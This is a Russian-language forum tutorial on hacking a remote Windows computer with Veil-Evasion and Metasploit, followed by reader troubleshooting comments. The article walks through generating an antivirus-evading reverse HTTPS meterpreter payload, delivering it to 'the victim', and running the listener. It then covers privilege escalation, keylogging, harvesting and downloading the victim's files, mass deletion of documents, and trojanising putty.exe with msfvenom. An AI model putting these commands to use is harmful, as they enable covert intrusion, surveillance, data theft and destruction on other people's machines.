• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Взлом удаленного компьютера, Veil-Evasion, Metasploit

В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.

UPDATE:
Поддержка Veil-Evasion закончилась, рекомендуется использовать фреймворк Veil.
https://codeby.net/threads/veil-framework.60978/


Ниже представлена схема, по которой будет осуществляться проникновение.

upload_2016-7-26_15-33-33.png


Необходимые ресурсы:
1. Kali Linux (Я использовал Kali GNU/Linux Rolling)

2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.

Для начала необходимо установить Veil-Evasion. Чтобы программа создавала корректно работающие файлы, не рекомендую установку apt-get install Veil-Evasion. Фреймворк нужно клонировать c github.com.
Выполните в терминале следующее:
Код:
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
Следим за установкой, соглашаемся и все устанавливаем.

Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.

upload_2016-7-26_15-34-5.png


Далее вводим команду list – она покажет список доступных payload.

upload_2016-7-26_15-34-57.png


Нас интересует номер 32python/meterpreter/reverse_https

Вводим - use 32

upload_2016-7-26_15-35-15.png


Задаем опции будущему файлу, вводим последовательно следующие команды:

set LHOST 83.199.12.XXX (Ваш публичный IP)

set LPORT 443 (По умолчанию HTTPS URL использует 443 TCP-порт (для незащищённого HTTP — 80).

set USE_PYHERION Y (используем энкриптор)

generate (создаем .exe файл)

Вводим имя создаваемого файла.

Выбираем вторую строку, жмем 2.

upload_2016-7-26_15-35-36.png


Ждем успешной генерации файла.

upload_2016-7-26_15-35-57.png


Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.

Выходим из Veil-Evasion.

Запускаем Metasploit.
#msfconsole

Далее
Код:
msf > use multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_https
msf exploit (handler) > set LHOST (свой внутренний IP)
msf exploit (handler)  > set LPORT 443
msf exploit (handler) >exploit
Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.

upload_2016-7-26_15-37-23.png


Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.

Делается это так, вводим:
ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.

migrate (PID процесса).
Migration completed successfully.
Успех. Теперь необходимо повысить права в системе, команда:
getsystem (срабатывает не всегда.)
В целом поможет разобраться стандартная команда help.
Ниже пару моментов которые помогут быстрее освоиться в системе.

1. Кейлоггер
meterpreter > bgrun keylogrecorder

[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2...

2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
Пример:
meterpreter > run file_collector -h
Затем создаем список файлов в одном каталоге:

run file_collector -r -d e:\\ -f * -o /root/ file.txt


Редактируем наш выходной файл, т.к. не все файлы нужны.
cat /root/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst


Скачиваем файлы на свой компьютер.

run file_collector -i /root /file.lst -l /root/

Полагаю не нужно обьяснять, что делают скрипты upload и download)

3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.

4. Удаление файлов. Команды вводятся в шелле.
Получаем его слудующим образом:
meterpreter >shell

Удаление файлов exe:
del e:\*.* /f /s /q

удаление файлов doc:
del e:\*.doc /f /s /q


удаление файлов pdf:
del e:\*.pdf /f /s /q


5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

Краткое пояснение аргументов команды:
- a 86 - архитектура процессора.
--platform windows - тут понятно.
- x - указать пользовательский исполняемый файл для использования в качестве шаблона.
- k - сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
- p - тип полезной нагрузки.
- e - тип енкодера.
- b - помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
- f - формат выходного файла.

За пример взята putty находящаяся в директории /root.
LHOST и LPORT указываем свои.

Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.
 
Последнее редактирование:

Sergei webware

Well-known member
07.02.2016
72
329
BIT
18
  • Нравится
Реакции: 23.zaycev и serseryoga
R

Raffel

Возникла проблема , во время запуска созданного payload -а ничего не происходит , то есть сессия в msf просто не открывается , с другими payload -ами всё работает , версия veil 2.28.1 , payload запускаю на win7
 
  • Нравится
Реакции: afalin

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 347
BIT
0
Возникла проблема , во время запуска созданного payload -а ничего не происходит , то есть сессия в msf просто не открывается , с другими payload -ами всё работает , версия veil 2.28.1 , payload запускаю на win7
Хм... порты указаны верно? и адрес? Пайлоад выбираете set payload windows/meterpreter/reverse_https ?
 
S

Scan

помогите пожалуйста,
если пишу:
Please enter the number of your choice: 1
то все работает, если 2 то выдаёт следущее
файл в папке есть.
Код:
[>] Please enter the base name for output files (default is 'payload'): 123

 [?] How would you like to create your payload executable?

  1 - Pyinstaller (default)
  2 - Pwnstaller (obfuscated Pyinstaller loader)
  3 - Py2Exe

 [>] Please enter the number of your choice: 2

=========================================================================
 Pwnstaller | [Version]: 1.0
=========================================================================
 [Web]: http://harmj0y.net/ | [Twitter]: @harmj0y
=========================================================================


 [*] Generating new runw source files...

Traceback (most recent call last):
  File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
  controller.MainMenu(args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
  self.outputFileName = self.PayloadMenu(self.payload, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
  return self.OutputMenu(payload, payloadCode, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
  supportfiles.supportingFiles(self.payload, OutputFileName, {})
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
  generatePwnstaller()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
  pwnstallerBuildSource()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
  f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'


root@root:~# /modules/common/source/common/utils.h'
> ^C
root@root:~# /modules/common/source/common/utils.h
bash: /modules/common/source/common/utils.h: Нет такого файла или каталога
root@root:~#
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 347
BIT
0
Попробуйте удалить Veil Evasion, затем сделать команду apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y
Затем склонировать заново Veil и установить.
 
  • Нравится
Реакции: Scan
S

Scan

примерно тоже самое выдаёт. ставлю на обсалютно чистую кали линукс,, раньше ставил эту же систему всё нормально работало. может не хватает каких то программ, типо аддона для наутилуса? не понимаю в чём проблема, разрядность 64х, не понимаю в чём дело, файл опять же на месте, но программа его не находит, бред, уже голову сломал как такое вообще возможно, помогите пожалуйста
Код:
[*] Generating new runw source files...

Traceback (most recent call last):
  File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
  controller.MainMenu(args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
  self.outputFileName = self.PayloadMenu(self.payload, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
  return self.OutputMenu(payload, payloadCode, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
  supportfiles.supportingFiles(self.payload, OutputFileName, {})
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
  generatePwnstaller()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
  pwnstallerBuildSource()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
  f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'
 
Последнее редактирование модератором:

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 347
BIT
0
но программа его не находит - Какая программа его не находит? Файл генерируется в /usr/share/veil-output?
 
S

Scan

какая программа - [*] Generating new runw source files... - No such file or directory - файл не найден...
я нуб, думаю, что "программа" генерирует файл и неможет найти его, если это не программа то, что это? извините..

файл генерируется в /usr/share/veil-output там несколько папок: (и файл - hashes.txt)
source - файлы в формате .py и один файл .bat
handlers - файлы в формате .rc
compiled - 1 удачно сгенерированный файл(при использовании опции 1 - Pyinstaller (default))
catapult - пусто

может ли быть так, что данная ошибка возникает после некорректной установки программ, которые устанавливаются после ввода команда - setup.sh -c

p.s.
если использую 3 - Py2Exe [>] Please enter the number of your choice: 3
выводит:
Код:
py2exe files 'setup.py' and 'runme.bat' written to:
/usr/share/veil-output/source/
[!] Internal error #2. Unable to generate output. Please run /usr/share/veil-output/config/update.py manually
после запуска update.py - все пайлоадсы изчезают...
Спасибо
 
Последнее редактирование модератором:
Z

zui_cz

Когда ввожу setup.sh пишет, что команды не существует, что делать?
 

veterok

Green Team
27.09.2016
15
8
BIT
7
при попытках скомпилить payload выдает ЭТО:
err:module:import_dll Library pywintypes27.dll (which is needed by L"C:\\Python27\\lib\\site-packages\\win32\\win32api.pyd") not found
err:module:import_dll Library pywintypes27.dll (which is needed by L"C:\\Python27\\lib\\site-packages\\win32\\win32api.pyd") not found
Traceback (most recent call last):
File "/opt/veil/PyInstaller-3.2//pyinstaller.py", line 14, in <module>
from PyInstaller.__main__ import run
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\__main__.py", line 21, in <module>
import PyInstaller.building.build_main
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\building\build_main.py", line 32, in <module>
from ..depend import bindepend
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\depend\bindepend.py", line 38, in <module>
from ..utils.win32.winmanifest import RT_MANIFEST
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\utils\win32\winmanifest.py", line 97, in <module>
from PyInstaller.utils.win32 import winresource
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\utils\win32\winresource.py", line 20, in <module>
import pywintypes
File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 124, in <module>
__import_pywin32_system_module__("pywintypes", globals())
File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 98, in __import_pywin32_system_module__
raise ImportError("No system module '%s' (%s)" % (modname, filename))
ImportError: No system module 'pywintypes' (pywintypes27.dll)

Кто сталкивался с такой бедой? и главное - как исправить?
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 347
BIT
0
Когда то подобную проблему фиксил по этой статье -https://github.com/Veil-Framework/Veil-Evasion/issues/95
 
  • Нравится
Реакции: veterok

Aldo

One Level
16.08.2016
3
2
BIT
0
Ребят, подскажите пожалуйста, порт 4444 он по дефолту открыт и как проверит его открытость?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!